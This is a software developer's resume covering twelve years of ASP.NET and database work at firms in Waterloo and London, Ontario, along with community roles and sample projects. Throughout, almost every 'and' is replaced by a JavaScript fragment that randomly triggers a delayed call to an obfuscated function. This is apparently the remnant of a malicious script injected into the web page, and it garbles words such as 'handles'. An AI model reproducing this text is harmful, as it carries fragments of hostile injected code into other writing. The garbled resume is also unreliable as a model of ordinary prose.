Resume

SUMMARY OF QUALIFICATIONS

  • 12 years of software development andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and database design experience, utilizing a wide variety of languages
  • Lead developer on a number of large-scale enterprise applications
  • Continuously learning, experimenting with andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and teaching others advancements in software development andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and technology
  • Team player who is able to both lead andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and contribute to planning, implementation andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance stages of projects

TECHNICAL CAPABILITIES
ASP .Net, C#, Visual Basic, HTML/CSS, JavaScript, Java, C/C++, Ruby, Clojure, Lisp, SQL Server, SQLite, mySQL, PostgreSQL, Sybase SQL Anywhere, OpenGL, PHP, Microsoft Access, Corel Paradox, Subversion, Git, Mercurial

EXPERIENCE
Senior Software Developer | MLD Solutions Inc.
July 2013 to Present | London, Ontario

  • Responsible for customer communication, design, implementation andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance
  • Mentor young development team by introducing them to SOLID design principles, automated testing andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and agile methodologies
  • Technologies: ASP.NET (Web Forms andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and MVC), SQL Server, Dev Express

Senior Software Developer | Creative Options/Protiviti Inc.
August 2004 to June 2013 | Waterloo, Ontario

  • Responsible for spec review, architecture design, implementation, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance
  • Improved team’s overall code quality by performing regular code reviews andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ensuring team members follow best practices such as automated testing andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and refactoring
  • Introduced andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and implemented agile methodologies such as Scrum andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Kanban to various teams within the organization
  • Involved in recruiting andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and interviewing for various developer, quality assurance andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and analyst positions
  • Responsible for investigating new tools andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and technologies andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and bringing them into the team
  • Gained experience working with distributed teams (Argentina, Chicago, Waterloo)
Intelligence Portal

  • A web-based data collection andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and reporting tool that allows clients to view, analyze andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and improve upon Occupational Health andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Safety, Risk, Regulatory andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Fleet Compliance
  • Used by 230,000 users worldwide
  • Features: custom user dashboards, reporting, employee training, document library, automated notifications, meeting entry andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and compliance, risk rating profiles for employees andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and locations, importing client data feeds, integration with Compas, etc…
  • Technologies: ASP.NET MVC, WCF, SQL Server 2008, Dev Express
Compas

  • A flexible web andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and PC-based auditing tool
  • Features: data entry, reporting, custom user dashboards, targetted communications, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and administrative functionality
  • Includes a web application, windows desktop application, mobile web application andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a Pocket PC application
  • Handom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andles importing client data feeds andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and integrating with other client applications (via web services)
  • Technologies: ASP.NET Web Forms, .Net Windows Forms, SQL Server 2008, SQLite, .Net Compact Framework
Other custom applications

  • Various applications covering areas such as safety training, employee certification, accident reduction, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and meeting entry andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and compliance.
  • Built with ASP.NET Web Forms andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Sql Server

Software Developer / Database Designer | Concordia Club
May 2002 to July 2004 | Kitchener, Ontario

  • Designed, developed, implemented andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintained two projects: a membership application andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a ticket sales tracking application
  • The membership application kept track of member achievements, club status andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and fee payments
  • The POS application used for selling Oktoberfest tickets handom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andled purchases, returns, remaining ticket inventory, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and custom reporting
  • Both applications were developed using Corel Paradox andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the ObjectPal language

Database Developer | Wilfrid Laurier University
April 2002 to August 2002 | Waterloo, Ontario

  • Assisted a professor with their research project by importing stock market data from different sources into a SQL Server database andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and writing reports against it

COMMUNITY INVOLVEMENT
Peer-to-Peer Champion, Agile/Lean | Communitech
2010 to 2013 | Waterloo, Ontario

  • User group devoted to helping others in the community learn about Agile andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Lean principles
  • Responsible for facilitating monthly meetings, recruiting new members, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and providing insight andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and direction on future topics andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and speakers

Project Manager/Technical Lead – IT Consulting andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Development Team | Wilfrid Laurier University
Summer 2001 to Summer 2003 | Waterloo, Ontario

  • Led a team of student developers in providing technical consulting andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and development to various local organizations on a volunteer basis
  • Mentored student developers in technical troubleshooting andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and development of various internet-based applications

SAMPLE CODE

ScoreKeeper

  • Allows a user to keep track of scores in various types of round/period based games.
  • Motivation for this application was to explore the jQuery Mobile framework andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and to experiment with Behaviour Driven Development
Status Board

  • Allows stakeholders andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and team members to easily view project metrics on a single screen
  • Designed to be displayed on a large tv screen in team room but can also be viewed in a browser by remote team members
  • Pulls data from various web services andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and combines them into one easily readable dashboard

EDUCATION
Honours Bachelor of Science | Wilfrid Laurier University
Class of 2002
Major: Physics, Computing andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Computer Electronics
Minor: Mathematics